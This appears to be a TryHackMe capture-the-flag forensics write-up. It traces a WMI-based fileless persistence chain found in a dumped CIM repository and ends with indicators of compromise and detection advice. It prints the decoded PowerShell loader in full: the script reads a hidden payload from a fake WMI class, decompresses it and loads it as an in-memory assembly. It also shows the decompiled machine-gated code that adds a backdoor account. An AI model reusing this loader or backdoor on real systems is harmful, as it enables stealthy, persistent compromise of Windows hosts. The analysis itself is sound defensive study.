> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/after-hours-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# After Hours Writeup

## Summary

The provided archive contains a raw dump of a Windows CIM repository — the backing store for WMI (`INDEX.BTR`, `MAPPING1.MAP`, `MAPPING2.MAP`, `MAPPING3.MAP`, `OBJECTS.DATA`), normally found at `C:\Windows\System32\wbem\Repository\`.

Buried inside `OBJECTS.DATA` is a three-stage fileless persistence chain:

1. A `CommandLineEventConsumer` launches PowerShell.
2. PowerShell retrieves a second-stage payload from a disguised custom WMI class property, decompresses it into a .NET assembly, and loads it entirely in memory.
3. The assembly is a machine-name-gated backdoor account creator. Its `net user /add` command line contains the flag, base64-encoded as the account password.

```
CommandLineEventConsumer (WMI persistence)
        |
        v
powershell.exe -enc <base64> (stage 1 script)
        |
        v
reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData (disguised as telemetry)
        |
        v
base64-decode -> raw DEFLATE decompress -> in-memory .NET assembly (stage 2)
        |
        v
Assembly.Load(...).EntryPoint.Invoke() - runs entirely in the PowerShell process
        |
        v
checks Environment.MachineName == "bytelotusdc"
        |
        v
cmd.exe /c net user patch <base64> /add
        |
        v
base64 decodes to the flag
```

## Identifying the Artifact

The archive extracts to five files with no extension hints, so the first step was identifying them:

```bash
unzip attachments.zip
ls -la
```

```
INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA
```

`file` reported all five as generic `data`, with no helpful magic bytes. The filenames themselves are the giveaway: `INDEX.BTR`, `MAPPING<n>.MAP`, and `OBJECTS.DATA` are the exact file layout used by the Windows WMI object repository, also called the CIM repository.

Three rotating `MAPPING*.MAP` files — a common pattern for crash-consistent writes, using multiple generations of the mapping table — further confirm the identification. A string scan sealed it:

```bash
strings -e l -n 4 OBJECTS.DATA | grep -iE "EventFilter|EventConsumer|CIM_|__Win32Provider"
```

```
CIM_UserDevice
ActiveScriptEventConsumer
CommandLineEventConsumer
__EventFilter
__FilterToConsumerBinding
```

These are stock WMI schema class names, including `__EventFilter`, `__FilterToConsumerBinding`, and built-in event consumer classes. This is a genuine CIM repository, likely lifted from `root\subscription` or `root\default` on a compromised or lab Windows host.

## Ruling Out the Easy Path

The obvious first approach — searching raw bytes for the flag format — came up empty:

```python
import glob

targets = [b'THM{', 'T\x00H\x00M\x00{\x00'.encode('latin1')]
for fn in glob.glob('*'):
    data = open(fn, 'rb').read()
    for t in targets:
        if t in data:
            print(fn, "hit")
```

No ASCII or UTF-16LE matches were found in any of the five files.

A broader case-insensitive search for `flag`, `thm`, and `ctf` returned hits, but every result was a false positive from legitimate WMI schema text, such as `algorithm`, `CIM_ProductFRU`, and `PredictFailure`.

The repository appears to contain an unmodified stock CIM schema on the surface. The interesting content was therefore likely hidden within an actual instance rather than the schema itself.

## Finding the Persistence Mechanism

Rather than fully reverse-engineering the CIM object-store binary format — an undocumented and nontrivial format for which Mandiant's `flare-wmi`/`python-cim` project exists — a targeted search for known WMI-abuse indicators found a hit immediately:

```python
import re

data = open('OBJECTS.DATA', 'rb').read()
for kw in [b'powershell', b'-enc', b'IEX', b'FromBase64String', b'cmd.exe']:
    idxs = [m.start() for m in re.finditer(re.escape(kw), data)]
    if idxs:
        print(kw, len(idxs), idxs[:5])
```

```
b'powershell' 6 [1308878, 10254542, 18188606, 18421999, 22173902]
b'-enc' 4 [1308918, 10254582, 22173942, 22477046]
```

Context around one of the `-enc` matches revealed the persistence object:

```
...CommandLineEventConsumer\x00\x00cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAg...
```

A `CommandLineEventConsumer` is one of the two classic WMI event-consumer types abused for fileless persistence, alongside `ActiveScriptEventConsumer`.

Paired with a `__EventFilter` and `__FilterToConsumerBinding`, it allows arbitrary command execution whenever a WMI event fires, such as at logon, on a timer interval, or following process creation. No initial payload file needs to touch disk.

The same object appeared four times at different offsets, consistent with the CIM repository's internal versioning and older object generations persisting in unallocated or log regions.

## Decoding Stage 1: PowerShell

PowerShell `-enc` payloads are base64-encoded UTF-16LE and can be decoded directly:

```python
import base64

b64 = b"JABmAGkAbABlACAAPQAg..."  # full string extracted from OBJECTS.DATA
decoded = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
print(decoded.decode('utf-16le'))
```

```powershell
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null
```

The script's sole purpose is to retrieve a second payload from a disguised WMI class property:

```
ROOT\cimv2:Win32_HardwareTelemetry.ConfigData
```

`Win32_HardwareTelemetry` sounds plausible but is an entirely custom class, not a legitimate Windows telemetry class.

The script:

* Reads the `ConfigData` WMI property.
* Base64-decodes its value.
* Runs the result through a raw DEFLATE decompressor.
* Loads the decompressed bytes as a .NET assembly using reflection.
* Invokes the assembly entry point.

The second stage never touches disk and exists only in the PowerShell process memory.

## Extracting Stage 2: the .NET Assembly

The `Win32_HardwareTelemetry.ConfigData` string value was located in `OBJECTS.DATA` using the class and property name pair. It appeared immediately after a `string\x00\x00` type marker in the object's property table.

```python
import re, base64, zlib

data = open('OBJECTS.DATA', 'rb').read()
idx = data.find(b'Win32_HardwareTelemetry')
marker = b'string\x00\x00'
pos = data.find(marker, idx)
start = pos + len(marker)
end = data.find(b'\x00', start)
b64 = data[start:end]

compressed = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
decompressed = zlib.decompress(compressed, -15)  # raw DEFLATE, no zlib header
open('payload.exe', 'wb').write(decompressed)
```

```bash
file payload.exe
```

```
payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
```

A genuine 4 KB .NET assembly was recovered directly from a WMI property value. This confirms a functioning fileless persistence and logic-bomb chain rather than a red herring.

## Reversing the Payload

ASCII strings exposed .NET metadata but not the runtime string literals, which .NET stores separately in the User String (`#US`) heap as UTF-16.

```bash
strings -n 4 payload.exe
```

```
<Module>
updates.exe
Program
AfterHours
Environment
get_MachineName
ProcessStartInfo
set_FileName
set_Arguments
Console
WriteLine
```

This confirms the overall logic: retrieve the machine name, compare it, and conditionally launch a process.

The actual comparison value and command line appeared in a UTF-16 string scan:

```bash
strings -e l -n 4 payload.exe
```

```
bytelotusdc
cmd.exe
/c net user patch <REDACTED_B64> /add
Execution halted: Environment mismatch.
```

The decompiled logic is:

```csharp
if (Environment.MachineName.Equals("bytelotusdc")) {
    var psi = new ProcessStartInfo {
        FileName = "cmd.exe",
        Arguments = "/c net user patch <REDACTED_B64> /add",
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true
    };
    Process.Start(psi);
} else {
    Console.WriteLine("Execution halted: Environment mismatch.");
}
```

This is a machine-name-gated backdoor. It silently creates a local account named `patch` only when running on a host named exactly `bytelotusdc`.

On all other hosts, it prints:

```
Execution halted: Environment mismatch.
```

This behavior helps it avoid detection in generic analysis environments and sandboxes.

## Decoding the Flag

```python
import base64
print(base64.b64decode('<REDACTED_B64>').decode())
```

```
THM{REDACTED}
```

The backdoor account password is the flag, base64-encoded.

## Key Findings

| # | Layer                   | Technique                                                                                                 | Purpose                                                                            |
| - | ----------------------- | --------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
| 1 | WMI persistence         | `CommandLineEventConsumer` running `powershell.exe -enc ...`                                              | Execution trigger, no file dropped for stage 1                                     |
| 2 | Stage 1 (PowerShell)    | Reads a custom WMI class property (`Win32_HardwareTelemetry.ConfigData`), base64 + raw-DEFLATE decodes it | Retrieves stage 2 from a disguised, fileless storage location                      |
| 3 | Stage 2 (.NET assembly) | Loaded and invoked entirely via `Reflection.Assembly.Load(...)` in memory                                 | Runs the actual payload logic with no second file on disk                          |
| 4 | Payload logic           | `Environment.MachineName` equality check                                                                  | Limits execution to a specific named host, evading generic detection and sandboxes |
| 5 | Payload action          | `net user patch <base64> /add`                                                                            | Creates a hidden local backdoor account; password doubles as the flag              |

## Indicators of Compromise

* WMI class `Win32_HardwareTelemetry` with a string property `ConfigData`. This is not a real Windows/CIM class, and any class holding a large base64 blob in an otherwise plausible-sounding property should be treated as suspicious.
* `CommandLineEventConsumer` invoking `powershell.exe` with `-enc` and referencing `[WmiClass]` or `.Properties[...]` in the decoded command. This strongly indicates WMI-as-storage abuse rather than only WMI-as-trigger.
* A local account named `patch` created outside normal patch-management tooling, on a host matching the hardcoded `bytelotusdc` machine name check.
* `net user ... /add` launched as a child of `cmd.exe`, itself a child of `powershell.exe`, itself triggered by `WmiPrvSE.exe` or `scrcons.exe` rather than an interactive logon.

## Detection & Mitigation Recommendations

* Monitor and alert on `__EventFilter`, `__EventConsumer`, and `__FilterToConsumerBinding` instance creation in `root\subscription`, and in `root\default` on older systems. Legitimate WMI event subscriptions outside known management tooling such as SCCM and monitoring agents are rare.
* Treat custom, non-Microsoft WMI classes as suspicious when they store large string or blob properties. This is a known fileless payload-storage technique because CIM repositories are rarely inspected and persist across reboots.
* Enable and review PowerShell Script Block Logging, Event ID 4104. It captures decoded `-enc` payload content and would expose this entire chain without manual base64 or DEFLATE analysis.
* Alert on `Reflection.Assembly.Load` and `.EntryPoint.Invoke` patterns in captured script blocks. Reflective in-memory .NET assembly loading from PowerShell is a strong signal with few legitimate use cases.
* Baseline and alert on local account creation through `net user /add` or `New-LocalUser` outside change-managed windows, especially when the parent process chain traces back through `WmiPrvSE.exe`.

## Attack Chain

```
[CIM repository dump: INDEX.BTR + MAPPING1-3.MAP + OBJECTS.DATA]
        |
        v
[identified as C:\Windows\System32\wbem\Repository via filenames + schema strings]
        |
        v
[direct "THM{" / "flag" / "ctf" string search - all false positives, stock WMI schema]
        |
        v
[targeted search for -enc / powershell / IEX -> hits CommandLineEventConsumer]
        |
        v
[CommandLineEventConsumer runs: cmd /C powershell.exe -enc <base64>]
        |
        v
[stage 1 decoded: reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData]
        |
        v
[ConfigData located in OBJECTS.DATA -> base64-decoded -> raw DEFLATE decompressed]
        |
        v
[stage 2 recovered: 4KB .NET assembly (payload.exe), loaded via Reflection.Assembly.Load]
        |
        v
[reversed: checks Environment.MachineName == "bytelotusdc"]
        |
        v
[if matched: cmd.exe /c net user patch <base64> /add]
        |
        v
[base64 password decoded -> flag]
```
